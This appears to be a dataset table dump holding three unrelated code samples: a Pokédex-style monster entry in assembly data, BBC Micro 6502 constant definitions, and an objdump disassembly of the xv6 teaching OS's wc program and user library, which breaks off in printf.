text stringlengths 1 1.05M |
|---|
db "POISON MOTH@" ; species name
db "It scatters its"
next "fine dust all over"
next "when is has been"
page "attacked. This"
next "#MON is "
next "nocturnal.@"
|
#importonce
//#import "macros.6502.asm"
//
// title: bbc micro constants
// author: dean belfield
// created: 29/10/2020
// last updated: 29/10/2020
//
// requires: macros
//
// modinfo:
//
.label oswrch = $ffee
.label osrdch = $ffe0
.label osbyte = $fff4
.label osword = $fff1
.label screen = $3000
.label chrset = $c000 // rom character set
.label zp = $70 // start of usable zero page
.label r0 = zp + 0 // general purpose registers
.label r1 = zp + 1
.label r2 = zp + 2
.label r3 = zp + 3
.label r4 = zp + 4
.label r5 = zp + 5
.label r6 = zp + 6
.label r7 = zp + 7
.label r8 = zp + 8
.label r9 = zp + 9
.label sl = zp + 10 // used to store the screen address only
.label sh = zp + 11
.label px = zp + 12 // used to store pixel position only
.label py = zp + 13
.label pc = zp + 14 // and pixel colour
|
_wc: file format elf32-i386
Disassembly of section .text:
00000000 <wc>:
char buf[512];
void
wc(int fd, char *name)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 48 sub $0x48,%esp
int i, n;
int l, w, c, inword;
l = w = c = 0;
6: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp)
d: 8b 45 e8 mov -0x18(%ebp),%eax
10: 89 45 ec mov %eax,-0x14(%ebp)
13: 8b 45 ec mov -0x14(%ebp),%eax
16: 89 45 f0 mov %eax,-0x10(%ebp)
inword = 0;
19: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
while((n = read(fd, buf, sizeof(buf))) > 0){
20: eb 68 jmp 8a <wc+0x8a>
for(i=0; i<n; i++){
22: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
29: eb 57 jmp 82 <wc+0x82>
c++;
2b: 83 45 e8 01 addl $0x1,-0x18(%ebp)
if(buf[i] == '\n')
2f: 8b 45 f4 mov -0xc(%ebp),%eax
32: 05 c0 0c 00 00 add $0xcc0,%eax
37: 0f b6 00 movzbl (%eax),%eax
3a: 3c 0a cmp $0xa,%al
3c: 75 04 jne 42 <wc+0x42>
l++;
3e: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(strchr(" \r\t\n\v", buf[i]))
42: 8b 45 f4 mov -0xc(%ebp),%eax
45: 05 c0 0c 00 00 add $0xcc0,%eax
4a: 0f b6 00 movzbl (%eax),%eax
4d: 0f be c0 movsbl %al,%eax
50: 89 44 24 04 mov %eax,0x4(%esp)
54: c7 04 24 cd 09 00 00 movl $0x9cd,(%esp)
5b: e8 58 02 00 00 call 2b8 <strchr>
60: 85 c0 test %eax,%eax
62: 74 09 je 6d <wc+0x6d>
inword = 0;
64: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
6b: eb 11 jmp 7e <wc+0x7e>
else if(!inword){
6d: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
71: 75 0b jne 7e <wc+0x7e>
w++;
73: 83 45 ec 01 addl $0x1,-0x14(%ebp)
inword = 1;
77: c7 45 e4 01 00 00 00 movl $0x1,-0x1c(%ebp)
int l, w, c, inword;
l = w = c = 0;
inword = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
for(i=0; i<n; i++){
7e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
82: 8b 45 f4 mov -0xc(%ebp),%eax
85: 3b 45 e0 cmp -0x20(%ebp),%eax
88: 7c a1 jl 2b <wc+0x2b>
int i, n;
int l, w, c, inword;
l = w = c = 0;
inword = 0;
while((n = read(fd, buf, sizeof(buf))) > 0){
8a: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
91: 00
92: c7 44 24 04 c0 0c 00 movl $0xcc0,0x4(%esp)
99: 00
9a: 8b 45 08 mov 0x8(%ebp),%eax
9d: 89 04 24 mov %eax,(%esp)
a0: e8 b4 03 00 00 call 459 <read>
a5: 89 45 e0 mov %eax,-0x20(%ebp)
a8: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
ac: 0f 8f 70 ff ff ff jg 22 <wc+0x22>
w++;
inword = 1;
}
}
}
if(n < 0){
b2: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
b6: 79 19 jns d1 <wc+0xd1>
printf(1, "wc: read error\n");
b8: c7 44 24 04 d3 09 00 movl $0x9d3,0x4(%esp)
bf: 00
c0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
c7: e8 35 05 00 00 call 601 <printf>
exit();
cc: e8 70 03 00 00 call 441 <exit>
}
printf(1, "%d %d %d %s\n", l, w, c, name);
d1: 8b 45 0c mov 0xc(%ebp),%eax
d4: 89 44 24 14 mov %eax,0x14(%esp)
d8: 8b 45 e8 mov -0x18(%ebp),%eax
db: 89 44 24 10 mov %eax,0x10(%esp)
df: 8b 45 ec mov -0x14(%ebp),%eax
e2: 89 44 24 0c mov %eax,0xc(%esp)
e6: 8b 45 f0 mov -0x10(%ebp),%eax
e9: 89 44 24 08 mov %eax,0x8(%esp)
ed: c7 44 24 04 e3 09 00 movl $0x9e3,0x4(%esp)
f4: 00
f5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
fc: e8 00 05 00 00 call 601 <printf>
}
101: c9 leave
102: c3 ret
00000103 <main>:
int
main(int argc, char *argv[])
{
103: 55 push %ebp
104: 89 e5 mov %esp,%ebp
106: 83 e4 f0 and $0xfffffff0,%esp
109: 83 ec 20 sub $0x20,%esp
int fd, i;
if(argc <= 1){
10c: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
110: 7f 19 jg 12b <main+0x28>
wc(0, "");
112: c7 44 24 04 f0 09 00 movl $0x9f0,0x4(%esp)
119: 00
11a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
121: e8 da fe ff ff call 0 <wc>
exit();
126: e8 16 03 00 00 call 441 <exit>
}
for(i = 1; i < argc; i++){
12b: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp)
132: 00
133: e9 8f 00 00 00 jmp 1c7 <main+0xc4>
if((fd = open(argv[i], 0)) < 0){
138: 8b 44 24 1c mov 0x1c(%esp),%eax
13c: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
143: 8b 45 0c mov 0xc(%ebp),%eax
146: 01 d0 add %edx,%eax
148: 8b 00 mov (%eax),%eax
14a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
151: 00
152: 89 04 24 mov %eax,(%esp)
155: e8 27 03 00 00 call 481 <open>
15a: 89 44 24 18 mov %eax,0x18(%esp)
15e: 83 7c 24 18 00 cmpl $0x0,0x18(%esp)
163: 79 2f jns 194 <main+0x91>
printf(1, "wc: cannot open %s\n", argv[i]);
165: 8b 44 24 1c mov 0x1c(%esp),%eax
169: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
170: 8b 45 0c mov 0xc(%ebp),%eax
173: 01 d0 add %edx,%eax
175: 8b 00 mov (%eax),%eax
177: 89 44 24 08 mov %eax,0x8(%esp)
17b: c7 44 24 04 f1 09 00 movl $0x9f1,0x4(%esp)
182: 00
183: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18a: e8 72 04 00 00 call 601 <printf>
exit();
18f: e8 ad 02 00 00 call 441 <exit>
}
wc(fd, argv[i]);
194: 8b 44 24 1c mov 0x1c(%esp),%eax
198: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
19f: 8b 45 0c mov 0xc(%ebp),%eax
1a2: 01 d0 add %edx,%eax
1a4: 8b 00 mov (%eax),%eax
1a6: 89 44 24 04 mov %eax,0x4(%esp)
1aa: 8b 44 24 18 mov 0x18(%esp),%eax
1ae: 89 04 24 mov %eax,(%esp)
1b1: e8 4a fe ff ff call 0 <wc>
close(fd);
1b6: 8b 44 24 18 mov 0x18(%esp),%eax
1ba: 89 04 24 mov %eax,(%esp)
1bd: e8 a7 02 00 00 call 469 <close>
if(argc <= 1){
wc(0, "");
exit();
}
for(i = 1; i < argc; i++){
1c2: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
1c7: 8b 44 24 1c mov 0x1c(%esp),%eax
1cb: 3b 45 08 cmp 0x8(%ebp),%eax
1ce: 0f 8c 64 ff ff ff jl 138 <main+0x35>
exit();
}
wc(fd, argv[i]);
close(fd);
}
exit();
1d4: e8 68 02 00 00 call 441 <exit>
000001d9 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1d9: 55 push %ebp
1da: 89 e5 mov %esp,%ebp
1dc: 57 push %edi
1dd: 53 push %ebx
asm volatile("cld; rep stosb" :
1de: 8b 4d 08 mov 0x8(%ebp),%ecx
1e1: 8b 55 10 mov 0x10(%ebp),%edx
1e4: 8b 45 0c mov 0xc(%ebp),%eax
1e7: 89 cb mov %ecx,%ebx
1e9: 89 df mov %ebx,%edi
1eb: 89 d1 mov %edx,%ecx
1ed: fc cld
1ee: f3 aa rep stos %al,%es:(%edi)
1f0: 89 ca mov %ecx,%edx
1f2: 89 fb mov %edi,%ebx
1f4: 89 5d 08 mov %ebx,0x8(%ebp)
1f7: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
1fa: 5b pop %ebx
1fb: 5f pop %edi
1fc: 5d pop %ebp
1fd: c3 ret
000001fe <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
1fe: 55 push %ebp
1ff: 89 e5 mov %esp,%ebp
201: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
204: 8b 45 08 mov 0x8(%ebp),%eax
207: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
20a: 90 nop
20b: 8b 45 08 mov 0x8(%ebp),%eax
20e: 8d 50 01 lea 0x1(%eax),%edx
211: 89 55 08 mov %edx,0x8(%ebp)
214: 8b 55 0c mov 0xc(%ebp),%edx
217: 8d 4a 01 lea 0x1(%edx),%ecx
21a: 89 4d 0c mov %ecx,0xc(%ebp)
21d: 0f b6 12 movzbl (%edx),%edx
220: 88 10 mov %dl,(%eax)
222: 0f b6 00 movzbl (%eax),%eax
225: 84 c0 test %al,%al
227: 75 e2 jne 20b <strcpy+0xd>
;
return os;
229: 8b 45 fc mov -0x4(%ebp),%eax
}
22c: c9 leave
22d: c3 ret
0000022e <strcmp>:
int
strcmp(const char *p, const char *q)
{
22e: 55 push %ebp
22f: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
231: eb 08 jmp 23b <strcmp+0xd>
p++, q++;
233: 83 45 08 01 addl $0x1,0x8(%ebp)
237: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
23b: 8b 45 08 mov 0x8(%ebp),%eax
23e: 0f b6 00 movzbl (%eax),%eax
241: 84 c0 test %al,%al
243: 74 10 je 255 <strcmp+0x27>
245: 8b 45 08 mov 0x8(%ebp),%eax
248: 0f b6 10 movzbl (%eax),%edx
24b: 8b 45 0c mov 0xc(%ebp),%eax
24e: 0f b6 00 movzbl (%eax),%eax
251: 38 c2 cmp %al,%dl
253: 74 de je 233 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
255: 8b 45 08 mov 0x8(%ebp),%eax
258: 0f b6 00 movzbl (%eax),%eax
25b: 0f b6 d0 movzbl %al,%edx
25e: 8b 45 0c mov 0xc(%ebp),%eax
261: 0f b6 00 movzbl (%eax),%eax
264: 0f b6 c0 movzbl %al,%eax
267: 29 c2 sub %eax,%edx
269: 89 d0 mov %edx,%eax
}
26b: 5d pop %ebp
26c: c3 ret
0000026d <strlen>:
uint
strlen(char *s)
{
26d: 55 push %ebp
26e: 89 e5 mov %esp,%ebp
270: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
273: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
27a: eb 04 jmp 280 <strlen+0x13>
27c: 83 45 fc 01 addl $0x1,-0x4(%ebp)
280: 8b 55 fc mov -0x4(%ebp),%edx
283: 8b 45 08 mov 0x8(%ebp),%eax
286: 01 d0 add %edx,%eax
288: 0f b6 00 movzbl (%eax),%eax
28b: 84 c0 test %al,%al
28d: 75 ed jne 27c <strlen+0xf>
;
return n;
28f: 8b 45 fc mov -0x4(%ebp),%eax
}
292: c9 leave
293: c3 ret
00000294 <memset>:
void*
memset(void *dst, int c, uint n)
{
294: 55 push %ebp
295: 89 e5 mov %esp,%ebp
297: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
29a: 8b 45 10 mov 0x10(%ebp),%eax
29d: 89 44 24 08 mov %eax,0x8(%esp)
2a1: 8b 45 0c mov 0xc(%ebp),%eax
2a4: 89 44 24 04 mov %eax,0x4(%esp)
2a8: 8b 45 08 mov 0x8(%ebp),%eax
2ab: 89 04 24 mov %eax,(%esp)
2ae: e8 26 ff ff ff call 1d9 <stosb>
return dst;
2b3: 8b 45 08 mov 0x8(%ebp),%eax
}
2b6: c9 leave
2b7: c3 ret
000002b8 <strchr>:
char*
strchr(const char *s, char c)
{
2b8: 55 push %ebp
2b9: 89 e5 mov %esp,%ebp
2bb: 83 ec 04 sub $0x4,%esp
2be: 8b 45 0c mov 0xc(%ebp),%eax
2c1: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
2c4: eb 14 jmp 2da <strchr+0x22>
if(*s == c)
2c6: 8b 45 08 mov 0x8(%ebp),%eax
2c9: 0f b6 00 movzbl (%eax),%eax
2cc: 3a 45 fc cmp -0x4(%ebp),%al
2cf: 75 05 jne 2d6 <strchr+0x1e>
return (char*)s;
2d1: 8b 45 08 mov 0x8(%ebp),%eax
2d4: eb 13 jmp 2e9 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
2d6: 83 45 08 01 addl $0x1,0x8(%ebp)
2da: 8b 45 08 mov 0x8(%ebp),%eax
2dd: 0f b6 00 movzbl (%eax),%eax
2e0: 84 c0 test %al,%al
2e2: 75 e2 jne 2c6 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
2e4: b8 00 00 00 00 mov $0x0,%eax
}
2e9: c9 leave
2ea: c3 ret
000002eb <gets>:
char*
gets(char *buf, int max)
{
2eb: 55 push %ebp
2ec: 89 e5 mov %esp,%ebp
2ee: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
2f1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2f8: eb 4c jmp 346 <gets+0x5b>
cc = read(0, &c, 1);
2fa: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
301: 00
302: 8d 45 ef lea -0x11(%ebp),%eax
305: 89 44 24 04 mov %eax,0x4(%esp)
309: c7 04 24 00 00 00 00 movl $0x0,(%esp)
310: e8 44 01 00 00 call 459 <read>
315: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
318: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
31c: 7f 02 jg 320 <gets+0x35>
break;
31e: eb 31 jmp 351 <gets+0x66>
buf[i++] = c;
320: 8b 45 f4 mov -0xc(%ebp),%eax
323: 8d 50 01 lea 0x1(%eax),%edx
326: 89 55 f4 mov %edx,-0xc(%ebp)
329: 89 c2 mov %eax,%edx
32b: 8b 45 08 mov 0x8(%ebp),%eax
32e: 01 c2 add %eax,%edx
330: 0f b6 45 ef movzbl -0x11(%ebp),%eax
334: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
336: 0f b6 45 ef movzbl -0x11(%ebp),%eax
33a: 3c 0a cmp $0xa,%al
33c: 74 13 je 351 <gets+0x66>
33e: 0f b6 45 ef movzbl -0x11(%ebp),%eax
342: 3c 0d cmp $0xd,%al
344: 74 0b je 351 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
346: 8b 45 f4 mov -0xc(%ebp),%eax
349: 83 c0 01 add $0x1,%eax
34c: 3b 45 0c cmp 0xc(%ebp),%eax
34f: 7c a9 jl 2fa <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
351: 8b 55 f4 mov -0xc(%ebp),%edx
354: 8b 45 08 mov 0x8(%ebp),%eax
357: 01 d0 add %edx,%eax
359: c6 00 00 movb $0x0,(%eax)
return buf;
35c: 8b 45 08 mov 0x8(%ebp),%eax
}
35f: c9 leave
360: c3 ret
00000361 <stat>:
int
stat(char *n, struct stat *st)
{
361: 55 push %ebp
362: 89 e5 mov %esp,%ebp
364: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
367: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
36e: 00
36f: 8b 45 08 mov 0x8(%ebp),%eax
372: 89 04 24 mov %eax,(%esp)
375: e8 07 01 00 00 call 481 <open>
37a: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
37d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
381: 79 07 jns 38a <stat+0x29>
return -1;
383: b8 ff ff ff ff mov $0xffffffff,%eax
388: eb 23 jmp 3ad <stat+0x4c>
r = fstat(fd, st);
38a: 8b 45 0c mov 0xc(%ebp),%eax
38d: 89 44 24 04 mov %eax,0x4(%esp)
391: 8b 45 f4 mov -0xc(%ebp),%eax
394: 89 04 24 mov %eax,(%esp)
397: e8 fd 00 00 00 call 499 <fstat>
39c: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
39f: 8b 45 f4 mov -0xc(%ebp),%eax
3a2: 89 04 24 mov %eax,(%esp)
3a5: e8 bf 00 00 00 call 469 <close>
return r;
3aa: 8b 45 f0 mov -0x10(%ebp),%eax
}
3ad: c9 leave
3ae: c3 ret
000003af <atoi>:
int
atoi(const char *s)
{
3af: 55 push %ebp
3b0: 89 e5 mov %esp,%ebp
3b2: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
3b5: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
3bc: eb 25 jmp 3e3 <atoi+0x34>
n = n*10 + *s++ - '0';
3be: 8b 55 fc mov -0x4(%ebp),%edx
3c1: 89 d0 mov %edx,%eax
3c3: c1 e0 02 shl $0x2,%eax
3c6: 01 d0 add %edx,%eax
3c8: 01 c0 add %eax,%eax
3ca: 89 c1 mov %eax,%ecx
3cc: 8b 45 08 mov 0x8(%ebp),%eax
3cf: 8d 50 01 lea 0x1(%eax),%edx
3d2: 89 55 08 mov %edx,0x8(%ebp)
3d5: 0f b6 00 movzbl (%eax),%eax
3d8: 0f be c0 movsbl %al,%eax
3db: 01 c8 add %ecx,%eax
3dd: 83 e8 30 sub $0x30,%eax
3e0: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
3e3: 8b 45 08 mov 0x8(%ebp),%eax
3e6: 0f b6 00 movzbl (%eax),%eax
3e9: 3c 2f cmp $0x2f,%al
3eb: 7e 0a jle 3f7 <atoi+0x48>
3ed: 8b 45 08 mov 0x8(%ebp),%eax
3f0: 0f b6 00 movzbl (%eax),%eax
3f3: 3c 39 cmp $0x39,%al
3f5: 7e c7 jle 3be <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
3f7: 8b 45 fc mov -0x4(%ebp),%eax
}
3fa: c9 leave
3fb: c3 ret
000003fc <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
3fc: 55 push %ebp
3fd: 89 e5 mov %esp,%ebp
3ff: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
402: 8b 45 08 mov 0x8(%ebp),%eax
405: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
408: 8b 45 0c mov 0xc(%ebp),%eax
40b: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
40e: eb 17 jmp 427 <memmove+0x2b>
*dst++ = *src++;
410: 8b 45 fc mov -0x4(%ebp),%eax
413: 8d 50 01 lea 0x1(%eax),%edx
416: 89 55 fc mov %edx,-0x4(%ebp)
419: 8b 55 f8 mov -0x8(%ebp),%edx
41c: 8d 4a 01 lea 0x1(%edx),%ecx
41f: 89 4d f8 mov %ecx,-0x8(%ebp)
422: 0f b6 12 movzbl (%edx),%edx
425: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
427: 8b 45 10 mov 0x10(%ebp),%eax
42a: 8d 50 ff lea -0x1(%eax),%edx
42d: 89 55 10 mov %edx,0x10(%ebp)
430: 85 c0 test %eax,%eax
432: 7f dc jg 410 <memmove+0x14>
*dst++ = *src++;
return vdst;
434: 8b 45 08 mov 0x8(%ebp),%eax
}
437: c9 leave
438: c3 ret
00000439 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
439: b8 01 00 00 00 mov $0x1,%eax
43e: cd 40 int $0x40
440: c3 ret
00000441 <exit>:
SYSCALL(exit)
441: b8 02 00 00 00 mov $0x2,%eax
446: cd 40 int $0x40
448: c3 ret
00000449 <wait>:
SYSCALL(wait)
449: b8 03 00 00 00 mov $0x3,%eax
44e: cd 40 int $0x40
450: c3 ret
00000451 <pipe>:
SYSCALL(pipe)
451: b8 04 00 00 00 mov $0x4,%eax
456: cd 40 int $0x40
458: c3 ret
00000459 <read>:
SYSCALL(read)
459: b8 05 00 00 00 mov $0x5,%eax
45e: cd 40 int $0x40
460: c3 ret
00000461 <write>:
SYSCALL(write)
461: b8 10 00 00 00 mov $0x10,%eax
466: cd 40 int $0x40
468: c3 ret
00000469 <close>:
SYSCALL(close)
469: b8 15 00 00 00 mov $0x15,%eax
46e: cd 40 int $0x40
470: c3 ret
00000471 <kill>:
SYSCALL(kill)
471: b8 06 00 00 00 mov $0x6,%eax
476: cd 40 int $0x40
478: c3 ret
00000479 <exec>:
SYSCALL(exec)
479: b8 07 00 00 00 mov $0x7,%eax
47e: cd 40 int $0x40
480: c3 ret
00000481 <open>:
SYSCALL(open)
481: b8 0f 00 00 00 mov $0xf,%eax
486: cd 40 int $0x40
488: c3 ret
00000489 <mknod>:
SYSCALL(mknod)
489: b8 11 00 00 00 mov $0x11,%eax
48e: cd 40 int $0x40
490: c3 ret
00000491 <unlink>:
SYSCALL(unlink)
491: b8 12 00 00 00 mov $0x12,%eax
496: cd 40 int $0x40
498: c3 ret
00000499 <fstat>:
SYSCALL(fstat)
499: b8 08 00 00 00 mov $0x8,%eax
49e: cd 40 int $0x40
4a0: c3 ret
000004a1 <link>:
SYSCALL(link)
4a1: b8 13 00 00 00 mov $0x13,%eax
4a6: cd 40 int $0x40
4a8: c3 ret
000004a9 <mkdir>:
SYSCALL(mkdir)
4a9: b8 14 00 00 00 mov $0x14,%eax
4ae: cd 40 int $0x40
4b0: c3 ret
000004b1 <chdir>:
SYSCALL(chdir)
4b1: b8 09 00 00 00 mov $0x9,%eax
4b6: cd 40 int $0x40
4b8: c3 ret
000004b9 <dup>:
SYSCALL(dup)
4b9: b8 0a 00 00 00 mov $0xa,%eax
4be: cd 40 int $0x40
4c0: c3 ret
000004c1 <getpid>:
SYSCALL(getpid)
4c1: b8 0b 00 00 00 mov $0xb,%eax
4c6: cd 40 int $0x40
4c8: c3 ret
000004c9 <sbrk>:
SYSCALL(sbrk)
4c9: b8 0c 00 00 00 mov $0xc,%eax
4ce: cd 40 int $0x40
4d0: c3 ret
000004d1 <sleep>:
SYSCALL(sleep)
4d1: b8 0d 00 00 00 mov $0xd,%eax
4d6: cd 40 int $0x40
4d8: c3 ret
000004d9 <uptime>:
SYSCALL(uptime)
4d9: b8 0e 00 00 00 mov $0xe,%eax
4de: cd 40 int $0x40
4e0: c3 ret
000004e1 <date>:
SYSCALL(date)
4e1: b8 16 00 00 00 mov $0x16,%eax
4e6: cd 40 int $0x40
4e8: c3 ret
000004e9 <timem>:
SYSCALL(timem)
4e9: b8 17 00 00 00 mov $0x17,%eax
4ee: cd 40 int $0x40
4f0: c3 ret
000004f1 <getuid>:
SYSCALL(getuid)
4f1: b8 18 00 00 00 mov $0x18,%eax
4f6: cd 40 int $0x40
4f8: c3 ret
000004f9 <getgid>:
SYSCALL(getgid)
4f9: b8 19 00 00 00 mov $0x19,%eax
4fe: cd 40 int $0x40
500: c3 ret
00000501 <getppid>:
SYSCALL(getppid)
501: b8 1a 00 00 00 mov $0x1a,%eax
506: cd 40 int $0x40
508: c3 ret
00000509 <setuid>:
SYSCALL(setuid)
509: b8 1b 00 00 00 mov $0x1b,%eax
50e: cd 40 int $0x40
510: c3 ret
00000511 <setgid>:
SYSCALL(setgid)
511: b8 1c 00 00 00 mov $0x1c,%eax
516: cd 40 int $0x40
518: c3 ret
00000519 <getprocs>:
SYSCALL(getprocs)
519: b8 1d 00 00 00 mov $0x1d,%eax
51e: cd 40 int $0x40
520: c3 ret
00000521 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
521: 55 push %ebp
522: 89 e5 mov %esp,%ebp
524: 83 ec 18 sub $0x18,%esp
527: 8b 45 0c mov 0xc(%ebp),%eax
52a: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
52d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
534: 00
535: 8d 45 f4 lea -0xc(%ebp),%eax
538: 89 44 24 04 mov %eax,0x4(%esp)
53c: 8b 45 08 mov 0x8(%ebp),%eax
53f: 89 04 24 mov %eax,(%esp)
542: e8 1a ff ff ff call 461 <write>
}
547: c9 leave
548: c3 ret
00000549 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
549: 55 push %ebp
54a: 89 e5 mov %esp,%ebp
54c: 56 push %esi
54d: 53 push %ebx
54e: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
551: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
558: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
55c: 74 17 je 575 <printint+0x2c>
55e: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
562: 79 11 jns 575 <printint+0x2c>
neg = 1;
564: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
56b: 8b 45 0c mov 0xc(%ebp),%eax
56e: f7 d8 neg %eax
570: 89 45 ec mov %eax,-0x14(%ebp)
573: eb 06 jmp 57b <printint+0x32>
} else {
x = xx;
575: 8b 45 0c mov 0xc(%ebp),%eax
578: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
57b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
582: 8b 4d f4 mov -0xc(%ebp),%ecx
585: 8d 41 01 lea 0x1(%ecx),%eax
588: 89 45 f4 mov %eax,-0xc(%ebp)
58b: 8b 5d 10 mov 0x10(%ebp),%ebx
58e: 8b 45 ec mov -0x14(%ebp),%eax
591: ba 00 00 00 00 mov $0x0,%edx
596: f7 f3 div %ebx
598: 89 d0 mov %edx,%eax
59a: 0f b6 80 70 0c 00 00 movzbl 0xc70(%eax),%eax
5a1: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
5a5: 8b 75 10 mov 0x10(%ebp),%esi
5a8: 8b 45 ec mov -0x14(%ebp),%eax
5ab: ba 00 00 00 00 mov $0x0,%edx
5b0: f7 f6 div %esi
5b2: 89 45 ec mov %eax,-0x14(%ebp)
5b5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
5b9: 75 c7 jne 582 <printint+0x39>
if(neg)
5bb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
5bf: 74 10 je 5d1 <printint+0x88>
buf[i++] = '-';
5c1: 8b 45 f4 mov -0xc(%ebp),%eax
5c4: 8d 50 01 lea 0x1(%eax),%edx
5c7: 89 55 f4 mov %edx,-0xc(%ebp)
5ca: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
5cf: eb 1f jmp 5f0 <printint+0xa7>
5d1: eb 1d jmp 5f0 <printint+0xa7>
putc(fd, buf[i]);
5d3: 8d 55 dc lea -0x24(%ebp),%edx
5d6: 8b 45 f4 mov -0xc(%ebp),%eax
5d9: 01 d0 add %edx,%eax
5db: 0f b6 00 movzbl (%eax),%eax
5de: 0f be c0 movsbl %al,%eax
5e1: 89 44 24 04 mov %eax,0x4(%esp)
5e5: 8b 45 08 mov 0x8(%ebp),%eax
5e8: 89 04 24 mov %eax,(%esp)
5eb: e8 31 ff ff ff call 521 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
5f0: 83 6d f4 01 subl $0x1,-0xc(%ebp)
5f4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
5f8: 79 d9 jns 5d3 <printint+0x8a>
putc(fd, buf[i]);
}
5fa: 83 c4 30 add $0x30,%esp
5fd: 5b pop %ebx
5fe: 5e pop %esi
5ff: 5d pop %ebp
600: c3 ret
00000601 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
601: 55 push %ebp
602: 89 e5 mov %esp,%ebp
604: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
607: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
60e: 8d 45 0c lea 0xc(%ebp),%eax
611: 83 c0 04 add $0x4,%eax
614: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
617: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
61e: e9 7c 01 00 00 jmp 79f <printf+0x19e>
